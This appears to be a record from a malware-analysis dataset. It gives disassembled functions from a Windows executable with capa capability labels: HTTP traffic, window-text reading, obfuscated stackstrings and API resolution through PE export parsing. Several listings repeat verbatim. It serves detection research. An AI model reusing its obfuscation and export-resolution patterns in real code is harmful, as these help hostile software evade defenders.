joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41eee7
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov ecx, esi
call fcn.0041efa1
cmp dword [esi], 0
mov ebx, eax
mov dword [esi + 0xc], 1
je 0x41ef3e
push edi
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov ecx, dword [ebp + 0x10]
mov edi, eax
push edi
call fcn.00401e50
mov ecx, dword [ebp + 0x10]
mov esi, eax
push edi
call fcn.00401f20
lea edx, [edi + 1]
push edx
push esi
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.00407470
pop edi
jmp 0x41ef49
mov eax, dword [ebp + 0x10]
push dword [eax]
push ebx
call fcn.00421e4c
pop esi
pop ebx
pop ebp
ret 0xc

Function at 0x41f484
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push esi
mov esi, ecx
and dword [esi + 0x10], 0
and dword [esi + 0xc], 0
mov dword [esi + 4], eax
mov eax, dword [ebp + 8]
mov dword [esi], vtable.CInternetSession.0
test eax, eax
jne 0x41f4ad
call fcn.0041d6d8
mov eax, dword [eax + 0x10]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [esi + 8], eax
test eax, eax
je 0x41f4da
push esi
push eax
mov ecx, 0x47d3bc
call fcn.004205b6
mov eax, esi
pop esi
pop ebp
ret 0x18
push 0
push dword [esi + 4]
call fcn.0041fa82
int3

Function at 0x420414
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x40]
test eax, eax
jne 0x42045e
push 0x1000
call fcn.0042061b
test eax, eax
je 0x4204f3
lea eax, [ebp - 4]
push eax
push dword [esi + 0x38]
push dword [esi + 0x40]
push dword [esi + 0x18]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x4204f7
mov eax, dword [ebp - 4]
and dword [esi + 0x3c], 0
mov dword [esi + 0x44], eax
mov eax, dword [esi + 0x40]
mov ecx, dword [esi + 0x3c]
mov ebx, dword [ebp + 8]
lea edx, [ecx + eax]
mov eax, dword [ebp + 0xc]
lea edi, [eax*2 - 2]
jmp 0x4204ba
cmp ecx, dword [esi + 0x44]
jb 0x4204a2
lea eax, [ebp - 4]
push eax
push dword [esi + 0x38]
push dword [esi + 0x40]
push dword [esi + 0x18]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x4204f7
mov eax, dword [ebp - 4]
mov dword [esi + 0x44], eax
test eax, eax
je 0x4204dc
and dword [esi + 0x3c], 0
xor ecx, ecx
mov edx, dword [esi + 0x40]
mov al, byte [edx]
cmp al, 0xd
je 0x4204af
mov byte [ebx], al
inc ebx
mov ecx, dword [esi + 0x3c]
dec edi
inc ecx
mov dword [esi + 0x3c], ecx
mov al, byte [edx]
inc edx
cmp al, 0xa
je 0x4204be
test edi, edi
jne 0x420473
and edi, 1
add edi, 2
push edi
push 0
push ebx
call fcn.0043b130
add esp, 0xc
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
and edi, 1
add edi, 2
push edi
push 0
push ebx
call fcn.0043b130
add esp, 0xc
cmp ebx, dword [ebp + 8]
jne 0x4204d0
xor eax, eax
jmp 0x4204d3
push 0
push dword [esi + 0x20]
call fcn.0041fa82
int3
Function at 0x4206c3
Capabilities:
Send data

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
push edi
cmp dword [esi + 0x1c], 1
je 0x420771
cmp dword [esi + 0x18], 0
je 0x420771
cmp dword [esi + 0x34], 0
mov edi, dword [ebp + 0xc]
jne 0x42070a
lea eax, [ebp - 4]
push eax
push edi
push dword [ebp + 8]
push dword [esi + 0x18]
call dword [sym.imp.WININET.dll_InternetWriteFile]
test eax, eax
je 0x420775
cmp dword [ebp - 4], edi
jne 0x420775
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
mov edx, dword [esi + 0x30]
mov ecx, dword [esi + 0x2c]
lea eax, [edx + edi]
cmp eax, ecx
jb 0x420735
lea eax, [ebp - 4]
push eax
push edx
push dword [esi + 0x34]
push dword [esi + 0x18]
call dword [sym.imp.WININET.dll_InternetWriteFile]
test eax, eax
je 0x420775
and dword [esi + 0x30], 0
xor edx, edx
mov ecx, dword [esi + 0x2c]
cmp edi, ecx
jb 0x420750
lea eax, [ebp - 4]
push eax
push edi
push dword [ebp + 8]
push dword [esi + 0x18]
call dword [sym.imp.WININET.dll_InternetWriteFile]
test eax, eax
jne 0x420702
jmp 0x420775
lea eax, [edx + edi]
cmp eax, ecx
ja 0x420702
mov eax, dword [esi + 0x34]
sub ecx, edx
push edi
push dword [ebp + 8]
add eax, edx
push ecx
push eax
call fcn.00403b10
add esp, 0x10
add dword [esi + 0x30], edi
jmp 0x420702
push 6
jmp 0x420777
push 0
push dword [esi + 0x20]
call fcn.0041fa82
int3
Function at 0x43279c
Capabilities:
Get disk information

Disassembly:
push 0x268
mov eax, 0x45cbeb
call fcn.00439195
mov eax, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
mov ebx, dword [ebp + 0x10]
mov dword [ebp - 0x264], eax
test eax, eax
je 0x4329b5
test edi, edi
je 0x4329b5
lea ecx, [ebp - 0x268]
mov esi, 0x104
push ecx
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
test eax, eax
jne 0x43282b
push 0xffffffffffffffff
push edi
push esi
push dword [ebp - 0x264]
call fcn.0044a342
add esp, 0x10
test eax, eax
je 0x43281d
cmp eax, 0xc
je 0x4329b0
cmp eax, 0x16
je 0x4329b5
cmp eax, 0x22
je 0x4329b5
cmp eax, 0x50
jne 0x4329b5
push edi
push ebx
call fcn.0043275a
xor eax, eax
jmp 0x4329a8
cmp eax, esi
jb 0x432855
test ebx, ebx
je 0x432824
mov dword [ebx + 8], 3
test edi, edi
jne 0x432842
xor eax, eax
jmp 0x432849
push edi
call fcn.0044a24f
pop ecx
push eax
push edi
lea ecx, [ebx + 0x10]
call fcn.00401f50
jmp 0x432824
call fcn.00418791
push eax
lea ecx, [ebp - 0x26c]
call fcn.00402170
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x26c]
push eax
push dword [ebp - 0x264]
call fcn.0043209d
mov esi, dword [ebp - 0x26c]
push esi
call dword [sym.imp.SHLWAPI.dll_PathIsUNCW]
test eax, eax
jne 0x43299d
push eax
push eax
lea ecx, [ebp - 0x270]
push ecx
lea ecx, [ebp - 0x274]
push ecx
push eax
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
jne 0x4328c4
push edi
push ebx
call fcn.0043275a
lea ecx, [esi - 0x10]
call fcn.004021a0
jmp 0x432824
mov eax, dword [ebp - 0x270]
test al, 2
jne 0x4328e0
push dword [ebp - 0x264]
call dword [sym.imp.USER32.dll_CharUpperW]
mov eax, dword [ebp - 0x270]
test al, 4
jne 0x43299d
lea eax, [ebp - 0x260]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
je 0x43299d
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x268]
test eax, eax
je 0x4328b0
cmp eax, dword [ebp - 0x264]
jbe 0x4328b0
lea eax, [ebp - 0x234]
push eax
call fcn.0044a24f
mov edx, dword [ebp - 0x268]
sub edx, dword [ebp - 0x264]
sar edx, 1
pop ecx
add eax, edx
mov ecx, 0x104
cmp eax, ecx
jge 0x432970
lea eax, [ebp - 0x234]
sub ecx, edx
push eax
push ecx
push dword [ebp - 0x268]
call fcn.00448d35
add esp, 0xc
test eax, eax
je 0x43299d
cmp eax, 0xc
je 0x4329b0
cmp eax, 0x16
je 0x4329b5
cmp eax, 0x22
je 0x4329b5
cmp eax, 0x50
jne 0x4329b5
jmp 0x43299d
test ebx, ebx
je 0x4328b7
mov dword [ebx + 8], 3
test edi, edi
jne 0x432987
xor eax, eax
jmp 0x43298e
push edi
call fcn.0044a24f
pop ecx
push eax
push edi
lea ecx, [ebx + 0x10]
call fcn.00401f50
jmp 0x4328b7
lea ecx, [esi - 0x10]
call fcn.004021a0
xor eax, eax
inc eax
call fcn.0043913f
ret 0xc
call fcn.004189c2
call fcn.004189a8
int3
Function at 0x438ee6
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add esp, 4
call 0x438ee6
add byte [ecx], bh
dec esi
xor eax, 0xc4834633
add al, 0x5f
push ebx

Function at 0x4390c6
Capabilities:
Contain obfuscated stackstrings

Disassembly:
cmp dword [ebp - 0x60c], 0
jle 0x43909d
push edx
sub edx, 0x23ee
and edx, 0x12ddc
xor edx, 0x2001
or edx, 0x14302
pop edx
push edi
push eax
add esp, 4
sub edi, 0x168f2
xor edi, 0x1550e
sub edi, 0x4292
pop edi
mov ecx, dword [ebp - 0x56c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x568]
movzx ecx, byte [eax]
cmp edx, ecx
je 0x439039
push edi
xor edi, 0x11da9
pop edi
push ebx
push edi
add esp, 4
add ebx, 0x97cc
sub ebx, 0x12be9
jmp 0x438fef
call 0x438ffb
add byte [edx + 0x39], cl
aas
dec esi
dec eax
xor eax, 0x5b04c483
mov edx, dword [ebp - 0x56c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x568]
movzx edx, byte [ecx]
cmp eax, edx
jle 0x439021
mov dword [ebp - 0xa74], 1
jmp 0x43902b
mov dword [ebp - 0xa74], 0xffffffff
mov eax, dword [ebp - 0xa74]
mov dword [ebp - 0x610], eax
jmp 0x43909d
push edx
push ecx
add esp, 4
and edx, 0x110d1
rcl dword [eax]
add dword [eax], eax
rcl dword [eax]
add dword [eax], eax
add edx, 0x1402c
and edx, 0x16234
pop edx
push ecx
and ecx, 0x13d75
sub ecx, 0x150b5
or ecx, 0xa124
xor ecx, 0xf9ff
pop ecx
mov ecx, dword [ebp - 0x60c]
sub ecx, 1
mov dword [ebp - 0x60c], ecx
mov edx, dword [ebp - 0x56c]
add edx, 1
mov dword [ebp - 0x56c], edx
mov eax, dword [ebp - 0x568]
add eax, 1
mov dword [ebp - 0x568], eax
jmp 0x438f78
mov ecx, dword [ebp - 0x610]
mov dword [ebp - 0xa78], ecx
cmp dword [ebp - 0xa78], 0
jne 0x4390f2
push edx
push ecx
add esp, 4
call 0x4390c6
add byte [ebx], dh
cmp dword [edx], edi
inc edi
cmp bh, byte ds:[ebx]
dec esi
cmp al, 0x83
les eax, [ecx + eax*4]
and al, 0x96
add byte [eax], al
or edx, 0x124c7
xor edx, 0x16a86
pop edx
push eax
or eax, 0x97a4
pop eax
mov edx, dword [ebp - 0x260]
mov dword [ebp - 0x564], edx
jmp 0x439101
jmp 0x438ea4

Function at 0x43912a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push eax
add esp, 4
xor ebx, 0x64b1
pop ebx
jmp 0x4390f7
mov dword [ebp - 0x564], 0
push edx
push eax
add esp, 4
xor edx, 0x1119f
sub edx, 0x3f90
and edx, 0x171cf
add edx, 0x8d34
pop edx
push edi
add edi, 0x1724c
and edi, 0x1bd
add byte [eax], al
and edi, 0x18023
pop edi
mov byte [ebp - 0x444], 0x45
invalid
invalid
invalid
sti
invalid

Function at 0x4391af
Capabilities:
Get number of processors

Disassembly:
test byte [eax], 0
pop eax
push edx
sub edx, 0x12c20
call 0x4391af
add byte [edx], bh
inc ebp
inc edi
xor eax, 0x39333e3e
add esp, 4
xor edx, 0x918e
pop edx
mov eax, 0x6b
mov word [ebp - 0xadc], ax
mov ecx, 0x65
mov word [ebp - 0xada], cx
lea esp, [esi]
cmc
invalid
invalid
mov edx, 0x72
mov word [ebp - 0xad8], dx
mov eax, 0x6e
mov word [ebp - 0xad6], ax
mov ecx, 0x65
mov word [ebp - 0xad4], cx
mov edx, 0x6c
mov word [ebp - 0xad2], dx
invalid
invalid
Function at 0x43959b
Capabilities:
Get number of processors

Disassembly:
pop ebx
mov eax, dword [ebp - 0x264]
mov dword [ebp - 0x144], eax
jmp 0x439587
push ebx
push edx
add esp, 4
call 0x43959b
add byte [esp + eax*2 + 0x48], cl
dec ebp
xor al, byte [ebx + 0x41]
cmp dword [ebx - 0x7d], eax
les eax, [ecx + eax*4]
jmp 0x4395ab
retf

Function at 0x439687
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
add esp, 4
or ebx, 0xf4
call 0x439687
add byte [ebx], dh
dec esi
aas
cmp eax, 0x834c423a
les eax, [ecx + eax*4]
salc
and eax, 0xc65b0001
test dword [eax - 5], edx
invalid

Function at 0x439a56
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add eax, 0x5181
pop eax
push esi
push eax
add esp, 4
call 0x439a56
add byte [esi + 0x41], al
dec esp
cmp al, 0x3e
cmp dh, byte [edi]
add esp, 4
pop esi
push ecx
and ecx, 0xfd69
pop ecx
push ecx
or ecx, 0x11488
pop ecx
mov ecx, dword [ebp - 0x398]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x1b0], edx
mov dword [ebp - 0x3a8], 0
mov eax, dword [ebp - 0x1b0]
mov dword [ebp - 0xa94], eax
cmp dword [ebp - 0xa94], 0
jne 0x439aa9
mov ecx, dword [ebp - 0x3a8]
mov dword [ebp - 0x1d8], ecx
jmp 0x439d6f
mov edx, dword [ebp - 0xa94]
mov eax, dword [ebp - 0x1b0]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0xa98], eax
jne 0x439ad1
mov ecx, dword [ebp - 0x3a8]
mov dword [ebp - 0x1d8], ecx
jmp 0x439d6f
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0xa98]
mov edx, dword [ecx + eax + 0x78]
invalid
xchg ebp, eax
invalid
Function at 0x43a725
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
jmp 0x43a72f
call 0x43a73b
add byte [edx + 0x3e], al
cmp dword [ecx + 0x4f], ecx
dec ebx
add esp, 4
add ecx, 0x1198
pop ecx
cmp dword [ebp - 0x648], 0
jne 0x43a75d
mov dword [ebp - 0x148], 0
jmp 0x43a992
mov eax, dword [ebp - 0x648]
mov dword [ebp - 0x270], eax
push ebx
push ecx
add esp, 4
or ebx, 0x1075a
and ebx, 0x55d6
xor ebx, 0x11d4d
add ebx, 0x575a
pop ebx
push edx
xor edx, 0x9e00
pop edx
push edi
push esi
add esp, 4
xor edi, 0x160c7
pop edi
lea ecx, [ebp - 0xadc]
mov dword [ebp - 0x644], ecx
mov edx, dword [ebp - 0x270]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x640], eax
xor ecx, ecx
mov word [ebp - 0xdc], cx
xor edx, edx
mov word [ebp - 0x64], dx
push edi
push edi
add esp, 4
jmp 0x43a7cf
jmp 0x43a7d7
xor edi, 0x11566
pop edi
push ebx
push edx
add esp, 4
add ebx, 0xd607
and ebx, 0x7e41
jmp 0x43a7f6
pop ebx
mov eax, dword [ebp - 0x640]
mov cx, word [eax]
mov word [ebp - 0x7f2], cx
mov edx, dword [ebp - 0x640]
add edx, 2
mov dword [ebp - 0x640], edx
mov ax, word [ebp - 0x7f2]
mov word [ebp - 0xdc], ax
mov ecx, dword [ebp - 0x644]
mov dx, word [ecx]
mov word [ebp - 0x7f4], dx
mov eax, dword [ebp - 0x644]
add eax, 2
mov dword [ebp - 0x644], eax
mov cx, word [ebp - 0x7f4]
mov word [ebp - 0x64], cx
push edx
sub edx, 0x12864
call 0x43a864
add byte [ecx + 0x45], cl
cmp al, 0x3a
cmp edi, dword [ecx]
cmp edi, dword [0x4c4833a]
xor edx, 0x169a
or edx, 0x7e6f
pop edx
push edi
push edx
add esp, 4
or edi, 0xbe73
pop edi
movzx edx, word [ebp - 0x64]
test edx, edx
jne 0x43a89d
movzx eax, word [ebp - 0xdc]
movzx ecx, word [ebp - 0x64]
sub eax, ecx
mov dword [ebp - 0xac0], eax
jmp 0x43a8e1
movzx edx, word [ebp - 0xdc]
movzx eax, word [ebp - 0x64]
cmp edx, eax
je 0x43a7c5
movzx ecx, word [ebp - 0xdc]
movzx edx, word [ebp - 0x64]
cmp ecx, edx
jge 0x43a8cb
mov dword [ebp - 0xabc], 0xffffffff
jmp 0x43a8d5
mov dword [ebp - 0xabc], 1
mov eax, dword [ebp - 0xabc]
mov dword [ebp - 0xac0], eax
cmp dword [ebp - 0xac0], 0
jne 0x43a92a
push edi
push edi
add esp, 4
xor edi, 0x3a94
and edi, 0x1303a
or edi, 0xd4b3
pop edi
push esi
push ebx
add esp, 4
or esi, 0xbce4
and esi, 0x165c6
pop esi
push ecx
add ecx, 0x15b1f
pop ecx
mov ecx, dword [ebp - 0x270]
mov dword [ebp - 0x148], ecx
jmp 0x43a992
push eax
push eax
add esp, 4
add eax, 0x480f
call 0x43a941
add byte [esi], bh
dec edx
inc eax
cmp eax, 0xc4833a4d
add al, 0xe8
pop es
add byte [eax], al
add byte [eax], al
inc edi
xor eax, dword [ecx + 0x3c]
cmp byte [edi - 0x7d], al
les eax, [ebx + ebp*8]
push es
inc edi
push eax
dec eax
dec ebx
inc edi
pop eax
mov edx, dword [ebp - 0x270]
mov eax, dword [edx]
mov dword [ebp - 0x270], eax
mov ecx, dword [ebp - 0x270]
cmp ecx, dword [ebp - 0x648]
je 0x43a988
mov edx, dword [ebp - 0x270]
cmp dword [edx + 0x30], 0
jne 0x43a769
mov dword [ebp - 0x148], 0
Function at 0x43a73b
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
jmp 0x43a72f
call 0x43a73b
add byte [edx + 0x3e], al
cmp dword [ecx + 0x4f], ecx
dec ebx
add esp, 4
add ecx, 0x1198
pop ecx
cmp dword [ebp - 0x648], 0
jne 0x43a75d
mov dword [ebp - 0x148], 0
jmp 0x43a992
mov eax, dword [ebp - 0x648]
mov dword [ebp - 0x270], eax
push ebx
push ecx
add esp, 4
or ebx, 0x1075a
and ebx, 0x55d6
xor ebx, 0x11d4d
add ebx, 0x575a
pop ebx
push edx
xor edx, 0x9e00
pop edx
push edi
push esi
add esp, 4
xor edi, 0x160c7
pop edi
lea ecx, [ebp - 0xadc]
mov dword [ebp - 0x644], ecx
mov edx, dword [ebp - 0x270]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x640], eax
xor ecx, ecx
mov word [ebp - 0xdc], cx
xor edx, edx
mov word [ebp - 0x64], dx
push edi
push edi
add esp, 4
jmp 0x43a7cf
jmp 0x43a7d7
xor edi, 0x11566
pop edi
push ebx
push edx
add esp, 4
add ebx, 0xd607
and ebx, 0x7e41
jmp 0x43a7f6
pop ebx
mov eax, dword [ebp - 0x640]
mov cx, word [eax]
mov word [ebp - 0x7f2], cx
mov edx, dword [ebp - 0x640]
add edx, 2
mov dword [ebp - 0x640], edx
mov ax, word [ebp - 0x7f2]
mov word [ebp - 0xdc], ax
mov ecx, dword [ebp - 0x644]
mov dx, word [ecx]
mov word [ebp - 0x7f4], dx
mov eax, dword [ebp - 0x644]
add eax, 2
mov dword [ebp - 0x644], eax
mov cx, word [ebp - 0x7f4]
mov word [ebp - 0x64], cx
push edx
sub edx, 0x12864
call 0x43a864
add byte [ecx + 0x45], cl
cmp al, 0x3a
cmp edi, dword [ecx]
cmp edi, dword [0x4c4833a]
xor edx, 0x169a
or edx, 0x7e6f
pop edx
push edi
push edx
add esp, 4
or edi, 0xbe73
pop edi
movzx edx, word [ebp - 0x64]
test edx, edx
jne 0x43a89d
movzx eax, word [ebp - 0xdc]
movzx ecx, word [ebp - 0x64]
sub eax, ecx
mov dword [ebp - 0xac0], eax
jmp 0x43a8e1
movzx edx, word [ebp - 0xdc]
movzx eax, word [ebp - 0x64]
cmp edx, eax
je 0x43a7c5
movzx ecx, word [ebp - 0xdc]
movzx edx, word [ebp - 0x64]
cmp ecx, edx
jge 0x43a8cb
mov dword [ebp - 0xabc], 0xffffffff
jmp 0x43a8d5
mov dword [ebp - 0xabc], 1
mov eax, dword [ebp - 0xabc]
mov dword [ebp - 0xac0], eax
cmp dword [ebp - 0xac0], 0
jne 0x43a92a
push edi
push edi
add esp, 4
xor edi, 0x3a94
and edi, 0x1303a
or edi, 0xd4b3
pop edi
push esi
push ebx
add esp, 4
or esi, 0xbce4
and esi, 0x165c6
pop esi
push ecx
add ecx, 0x15b1f
pop ecx
mov ecx, dword [ebp - 0x270]
mov dword [ebp - 0x148], ecx
jmp 0x43a992
push eax
push eax
add esp, 4
add eax, 0x480f
call 0x43a941
add byte [esi], bh
dec edx
inc eax
cmp eax, 0xc4833a4d
add al, 0xe8
pop es
add byte [eax], al
add byte [eax], al
inc edi
xor eax, dword [ecx + 0x3c]
cmp byte [edi - 0x7d], al
les eax, [ebx + ebp*8]
push es
inc edi
push eax
dec eax
dec ebx
inc edi
pop eax
mov edx, dword [ebp - 0x270]
mov eax, dword [edx]
mov dword [ebp - 0x270], eax
mov ecx, dword [ebp - 0x270]
cmp ecx, dword [ebp - 0x648]
je 0x43a988
mov edx, dword [ebp - 0x270]
cmp dword [edx + 0x30], 0
jne 0x43a769
mov dword [ebp - 0x148], 0
Function at 0x43a864
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
jmp 0x43a72f
call 0x43a73b
add byte [edx + 0x3e], al
cmp dword [ecx + 0x4f], ecx
dec ebx
add esp, 4
add ecx, 0x1198
pop ecx
cmp dword [ebp - 0x648], 0
jne 0x43a75d
mov dword [ebp - 0x148], 0
jmp 0x43a992
mov eax, dword [ebp - 0x648]
mov dword [ebp - 0x270], eax
push ebx
push ecx
add esp, 4
or ebx, 0x1075a
and ebx, 0x55d6
xor ebx, 0x11d4d
add ebx, 0x575a
pop ebx
push edx
xor edx, 0x9e00
pop edx
push edi
push esi
add esp, 4
xor edi, 0x160c7
pop edi
lea ecx, [ebp - 0xadc]
mov dword [ebp - 0x644], ecx
mov edx, dword [ebp - 0x270]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x640], eax
xor ecx, ecx
mov word [ebp - 0xdc], cx
xor edx, edx
mov word [ebp - 0x64], dx
push edi
push edi
add esp, 4
jmp 0x43a7cf
jmp 0x43a7d7
xor edi, 0x11566
pop edi
push ebx
push edx
add esp, 4
add ebx, 0xd607
and ebx, 0x7e41
jmp 0x43a7f6
pop ebx
mov eax, dword [ebp - 0x640]
mov cx, word [eax]
mov word [ebp - 0x7f2], cx
mov edx, dword [ebp - 0x640]
add edx, 2
mov dword [ebp - 0x640], edx
mov ax, word [ebp - 0x7f2]
mov word [ebp - 0xdc], ax
mov ecx, dword [ebp - 0x644]
mov dx, word [ecx]
mov word [ebp - 0x7f4], dx
mov eax, dword [ebp - 0x644]
add eax, 2
mov dword [ebp - 0x644], eax
mov cx, word [ebp - 0x7f4]
mov word [ebp - 0x64], cx
push edx
sub edx, 0x12864
call 0x43a864
add byte [ecx + 0x45], cl
cmp al, 0x3a
cmp edi, dword [ecx]
cmp edi, dword [0x4c4833a]
xor edx, 0x169a
or edx, 0x7e6f
pop edx
push edi
push edx
add esp, 4
or edi, 0xbe73
pop edi
movzx edx, word [ebp - 0x64]
test edx, edx
jne 0x43a89d
movzx eax, word [ebp - 0xdc]
movzx ecx, word [ebp - 0x64]
sub eax, ecx
mov dword [ebp - 0xac0], eax
jmp 0x43a8e1
movzx edx, word [ebp - 0xdc]
movzx eax, word [ebp - 0x64]
cmp edx, eax
je 0x43a7c5
movzx ecx, word [ebp - 0xdc]
movzx edx, word [ebp - 0x64]
cmp ecx, edx
jge 0x43a8cb
mov dword [ebp - 0xabc], 0xffffffff
jmp 0x43a8d5
mov dword [ebp - 0xabc], 1
mov eax, dword [ebp - 0xabc]
mov dword [ebp - 0xac0], eax
cmp dword [ebp - 0xac0], 0
jne 0x43a92a
push edi
push edi
add esp, 4
xor edi, 0x3a94
and edi, 0x1303a
or edi, 0xd4b3
pop edi
push esi
push ebx
add esp, 4
or esi, 0xbce4
and esi, 0x165c6
pop esi
push ecx
add ecx, 0x15b1f
pop ecx
mov ecx, dword [ebp - 0x270]
mov dword [ebp - 0x148], ecx
jmp 0x43a992
push eax
push eax
add esp, 4
add eax, 0x480f
call 0x43a941
add byte [esi], bh
dec edx
inc eax
cmp eax, 0xc4833a4d
add al, 0xe8
pop es
add byte [eax], al
add byte [eax], al
inc edi
xor eax, dword [ecx + 0x3c]
cmp byte [edi - 0x7d], al
les eax, [ebx + ebp*8]
push es
inc edi
push eax
dec eax
dec ebx
inc edi
pop eax
mov edx, dword [ebp - 0x270]
mov eax, dword [edx]
mov dword [ebp - 0x270], eax
mov ecx, dword [ebp - 0x270]
cmp ecx, dword [ebp - 0x648]
je 0x43a988
mov edx, dword [ebp - 0x270]
cmp dword [edx + 0x30], 0
jne 0x43a769
mov dword [ebp - 0x148], 0
Function at 0x43a941
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
jmp 0x43a72f
call 0x43a73b
add byte [edx + 0x3e], al
cmp dword [ecx + 0x4f], ecx
dec ebx
add esp, 4
add ecx, 0x1198
pop ecx
cmp dword [ebp - 0x648], 0
jne 0x43a75d
mov dword [ebp - 0x148], 0
jmp 0x43a992
mov eax, dword [ebp - 0x648]
mov dword [ebp - 0x270], eax
push ebx
push ecx
add esp, 4
or ebx, 0x1075a
and ebx, 0x55d6
xor ebx, 0x11d4d
add ebx, 0x575a
pop ebx
push edx
xor edx, 0x9e00
pop edx
push edi
push esi
add esp, 4
xor edi, 0x160c7
pop edi
lea ecx, [ebp - 0xadc]
mov dword [ebp - 0x644], ecx
mov edx, dword [ebp - 0x270]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x640], eax
xor ecx, ecx
mov word [ebp - 0xdc], cx
xor edx, edx
mov word [ebp - 0x64], dx
push edi
push edi
add esp, 4
jmp 0x43a7cf
jmp 0x43a7d7
xor edi, 0x11566
pop edi
push ebx
push edx
add esp, 4
add ebx, 0xd607
and ebx, 0x7e41
jmp 0x43a7f6
pop ebx
mov eax, dword [ebp - 0x640]
mov cx, word [eax]
mov word [ebp - 0x7f2], cx
mov edx, dword [ebp - 0x640]
add edx, 2
mov dword [ebp - 0x640], edx
mov ax, word [ebp - 0x7f2]
mov word [ebp - 0xdc], ax
mov ecx, dword [ebp - 0x644]
mov dx, word [ecx]
mov word [ebp - 0x7f4], dx
mov eax, dword [ebp - 0x644]
add eax, 2
mov dword [ebp - 0x644], eax
mov cx, word [ebp - 0x7f4]
mov word [ebp - 0x64], cx
push edx
sub edx, 0x12864
call 0x43a864
add byte [ecx + 0x45], cl
cmp al, 0x3a
cmp edi, dword [ecx]
cmp edi, dword [0x4c4833a]
xor edx, 0x169a
or edx, 0x7e6f
pop edx
push edi
push edx
add esp, 4
or edi, 0xbe73
pop edi
movzx edx, word [ebp - 0x64]
test edx, edx
jne 0x43a89d
movzx eax, word [ebp - 0xdc]
movzx ecx, word [ebp - 0x64]
sub eax, ecx
mov dword [ebp - 0xac0], eax
jmp 0x43a8e1
movzx edx, word [ebp - 0xdc]
movzx eax, word [ebp - 0x64]
cmp edx, eax
je 0x43a7c5
movzx ecx, word [ebp - 0xdc]
movzx edx, word [ebp - 0x64]
cmp ecx, edx
jge 0x43a8cb
mov dword [ebp - 0xabc], 0xffffffff
jmp 0x43a8d5
mov dword [ebp - 0xabc], 1
mov eax, dword [ebp - 0xabc]
mov dword [ebp - 0xac0], eax
cmp dword [ebp - 0xac0], 0
jne 0x43a92a
push edi
push edi
add esp, 4
xor edi, 0x3a94
and edi, 0x1303a
or edi, 0xd4b3
pop edi
push esi
push ebx
add esp, 4
or esi, 0xbce4
and esi, 0x165c6
pop esi
push ecx
add ecx, 0x15b1f
pop ecx
mov ecx, dword [ebp - 0x270]
mov dword [ebp - 0x148], ecx
jmp 0x43a992
push eax
push eax
add esp, 4
add eax, 0x480f
call 0x43a941
add byte [esi], bh
dec edx
inc eax
cmp eax, 0xc4833a4d
add al, 0xe8
pop es
add byte [eax], al
add byte [eax], al
inc edi
xor eax, dword [ecx + 0x3c]
cmp byte [edi - 0x7d], al
les eax, [ebx + ebp*8]
push es
inc edi
push eax
dec eax
dec ebx
inc edi
pop eax
mov edx, dword [ebp - 0x270]
mov eax, dword [edx]
mov dword [ebp - 0x270], eax
mov ecx, dword [ebp - 0x270]
cmp ecx, dword [ebp - 0x648]
je 0x43a988
mov edx, dword [ebp - 0x270]
cmp dword [edx + 0x30], 0
jne 0x43a769
mov dword [ebp - 0x148], 0